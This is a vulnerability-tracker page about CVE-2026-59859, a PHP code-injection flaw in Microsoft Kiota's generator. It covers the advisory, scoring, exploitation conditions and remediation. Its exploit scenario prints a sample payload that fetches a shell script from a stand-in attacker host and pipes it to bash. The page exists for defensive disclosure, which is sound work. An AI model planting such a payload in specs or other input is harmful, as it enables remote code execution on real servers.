Skip to main content

Microsoft Kiota CVE-2026-59859

| EUVDEUVD-2026-44928 HIGH
Code Injection (CWE-94)
2026-07-16 GitHub_M GHSA-jqwh-526h-c92j
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts OpenAPI spec with `$`-injection payloads in schema fields
  2. Delivery
    Developer or CI/CD pipeline runs Kiota PHP generator against malicious spec
  3. Exploit
    Generator embeds unescaped `$` interpolation constructs verbatim in PHP double-quoted string literals
  4. Execution
    Generated PHP classes committed and deployed to production PHP server
  5. Persist
    PHP runtime evaluates injected interpolation expressions on code execution
  6. Impact
    Arbitrary command execution with PHP process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following: (1) the victim uses Kiota's PHP generator at version >= 1.30.0 and < 1.32.4, or < 1.29.1; (2) the OpenAPI specification consumed by the generator contains attacker-controlled strings in at least one of: property wire-names, description fields, default values, enum wire values, discriminator property names, Accept header values, request body content types, or query-parameter serialization names; (3) those strings contain $-prefixed PHP interpolation constructs (${expr}, $varname, {$obj->prop}); (4) the generated PHP code is deployed to a production PHP server without a code-review step catching the injected expressions. Exploitation is entirely absent for teams that only regenerate clients from fully trusted, internally authored and version-controlled OpenAPI specifications. The human-in-the-loop requirement (a developer or CI/CD job must actively invoke the PHP generator) makes the attack non-automatable. Non-PHP Kiota generators are unaffected by this specific vulnerability.

Impact

The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H) reflects that a remote attacker can craft a malicious OpenAPI spec without authentication, but passive user interaction is required - a developer must actively run Kiota's PHP generator against the spec. SSVC rates exploitation as 'none' and automatable as 'no,' consistent with the human-in-the-loop constraint that prevents mass automated exploitation. EPSS of 1.02% (59th percentile) is low in absolute terms and aligns with the non-automatable SSVC determination. Real-world risk is strongly environment-dependent: CI/CD pipelines that auto-regenerate PHP clients from third-party or public specs without reviewing generated output face high risk of injected code reaching production; teams generating exclusively from fully trusted, internally controlled specs face negligible risk. SSVC technical impact is 'total,' confirming full RCE potential once injected code reaches a running PHP process. No public POC exists and the vulnerability is absent from CISA KEV, consistent with current zero-exploitation status.

Exploit ScenarioDerived

An attacker publishes a malicious OpenAPI specification containing a property wire-name or description field with the value ${system('curl attacker.com/shell.sh | bash')}. A developer or CI/CD job runs Kiota's PHP generator against this spec, producing a model class with a double-quoted PHP constant or string that PHP evaluates as a shell invocation the next time the application boots or handles a request. Because no public POC exists and a developer must actively consume the malicious spec, exploitation requires social engineering or compromise of a spec-hosting endpoint, but the code injection itself requires no further attacker interaction once the generated file is deployed.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 1.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 16, 2026

PHP code generation in Microsoft Kiota prior to 1.32.4 permits injection of arbitrary PHP code when the generator processes attacker-controlled OpenAPI specification fields, because the shared SanitizeDoubleQuote() helper in Writers/StringExtensions.cs fails to escape the $ character before embedding schema-derived strings into PHP double-quoted literals. Developers or CI/CD pipelines that generate PHP API clients from untrusted or third-party specifications will produce PHP files containing live interpolation expressions (${...}, $var, {$obj->prop}) that execute attacker-chosen code at PHP runtime in production environments. No public exploit has been identified and SSVC rates exploitation as currently none, but technical impact is rated total; the realistic risk is tightly gated on whether teams consume external or attacker-influenced specs without generated-code review.

RemediationAI

Upgrade Microsoft.OpenApi.Kiota and Microsoft.OpenApi.Kiota.Builder NuGet packages to version 1.32.4 or later; for projects pinned to the older branch, upgrade to 1.29.1. The patch is confirmed at https://github.com/microsoft/kiota/releases/tag/v1.32.4 and the fix commit is 5e2a211ac4261988fbdc72c3b268596ea8837b87. After upgrading, regenerate all PHP client code to replace previously generated files that may contain unescaped interpolation constructs. If immediate upgrade is not feasible, apply three compensating controls: first, audit all OpenAPI specification files consumed by the generator for $ characters in description fields, default values, property wire-names, enum values, and header values, removing or escaping suspicious strings before generation; second, implement mandatory code review of all generated PHP files, scanning double-quoted strings for ${, $varname, or {$ patterns before merging any branch; third, restrict code generation strictly to fully trusted, internally authored OpenAPI specifications and block automated regeneration from remote or third-party spec URLs. Each control degrades gracefully if bypassed, so layer all three when patching is delayed.

Affected VersionsENISA

kiota < 1.32.4

Affected Packages

nuget microsoft.openapi.kiota fix: 1.29.1, 1.32.4
nuget microsoft.openapi.kiota.builder fix: 1.29.1, 1.32.4
euvd kiota fix: 1.32.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in nuget, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Kiota is Microsoft's OpenAPI-based HTTP client code generator that produces typed API clients across multiple languages, distributed via NuGet as Microsoft.OpenApi.Kiota and Microsoft.OpenApi.Kiota.Builder. The vulnerability resides in the shared SanitizeDoubleQuote() function (CWE-94: Improper Control of Code Generation), which strips double-quote characters from OpenAPI schema-derived strings before embedding them into generated source code but never escapes the $ character. PHP's double-quoted string literals natively evaluate interpolation constructs - ${expression}, $variable, and {$object->property} - at runtime, meaning any schema field (description, default values, enum wire-names, discriminator property names, Accept header values, request body content types, query-parameter serialization names) that contains a $-prefixed construct is emitted verbatim into generated PHP model and request-builder classes. The fix, introduced in commit 5e2a211ac4261988fbdc72c3b268596ea8837b87 via PR #7863, adds PhpConventionService.SanitizePhpDoubleQuoteLiteral() which chains SanitizeDoubleQuote() with .Replace("$", "\\$"). This is a recurrence of a previously fixed literal-injection class: the Ruby generator had an analogous # interpolation fix, and the PHP $ variant was a missed sibling in the sanitizer helper.

Know when Kiota gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.6 CRITICAL

Malicious spec delivered remotely (AV:N, PR:N), developer must run generator (UI:R), generated code executes in PHP runtime beyond Kiota's trust boundary (S:C), enabling full RCE (C:H/I:H/A:H).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Jul 16, 2026 - 17:03 EUVD
CVE Published
Jul 16, 2026 - 14:40 cve.org
HIGH 8.7

DescriptionCVE.org

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.4, Kiota's PHP generator embedded OpenAPI description, default fields, property names, and other schema-derived strings into PHP double-quoted literals through SanitizeDoubleQuote() in Writers/StringExtensions.cs without escaping $, allowing attacker-controlled ${...}, $var, or {$obj->prop} interpolation constructs to inject arbitrary PHP code into generated model and request-builder classes. This issue is fixed in version 1.32.4.

Executive ViewAI

Why It Matters

Microsoft Kiota's PHP code generator in versions prior to 1.32.4 contains a code injection vulnerability that enables arbitrary PHP code execution in production environments. Development teams and CI/CD pipelines that auto-generate PHP API clients from external or untrusted OpenAPI specifications face supply-chain compromise risk, with generated code executing attacker commands at runtime. The vulnerability poses significant risk to organizations that lack code review controls for generated artifacts.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
1.0%
Top 41% exploitable
Prevalence
Medium
popular Microsoft developer tool for API client code generation
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Kiota

View all
CVE-2026-59865 CRITICAL
9.3 Jul 16

Command injection in Microsoft Kiota before 1.32.5 lets a malicious or compromised OpenAPI description dictate the insta

CVE-2026-59866 CRITICAL
9.3 Jul 16

Path traversal and code injection in Microsoft Kiota before 1.32.5 lets an attacker-controlled OpenAPI description write

CVE-2026-59864 CRITICAL
9.3 Jul 16

Path traversal in Microsoft Kiota before 1.32.5 lets an attacker-controlled OpenAPI description inject unvalidated `stat

CVE-2026-105796 HIGH
8.8 Oct 06

Code injection in Microsoft Kiota 0.5.0 through pre-1.35.0 allows attacker-controlled text embedded in an OpenAPI descri

CVE-2026-59860 HIGH
8.7 Jul 16

Code-generation injection in Microsoft Kiota's C# XML documentation-comment writer allows an attacker who controls or co

CVE-2026-59861 HIGH
7.5 Jul 16

Code injection in Microsoft Kiota Ruby code generator allows remote code execution through crafted OpenAPI specification

CVE-2026-59862 HIGH
7.5 Jul 16

Code injection in Microsoft Kiota's Python client generator (versions prior to 1.32.0) allows an attacker who controls a

CVE-2026-59867 HIGH
7.1 Jul 16

Build-time SSRF, remote file inclusion, and local file inclusion in Microsoft Kiota before 1.32.5 lets an attacker-contr

CVE-2026-41134 HIGH
7.3 Apr 22

Code injection in Microsoft Kiota versions prior to 1.31.1 allows attackers who control or tamper with OpenAPI descripti

CVE-2026-59863 HIGH
7.0 Jul 16

Arbitrary file write via path traversal in Microsoft Kiota (OpenAPI HTTP client/plugin code generator) before 1.32.5 all

CVE-2026-105795 LOW POC
3.1 Oct 06

Microsoft Kiota, the OpenAPI-based HTTP client code generator, fails to validate the x-ai-capabilities.response_semantic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy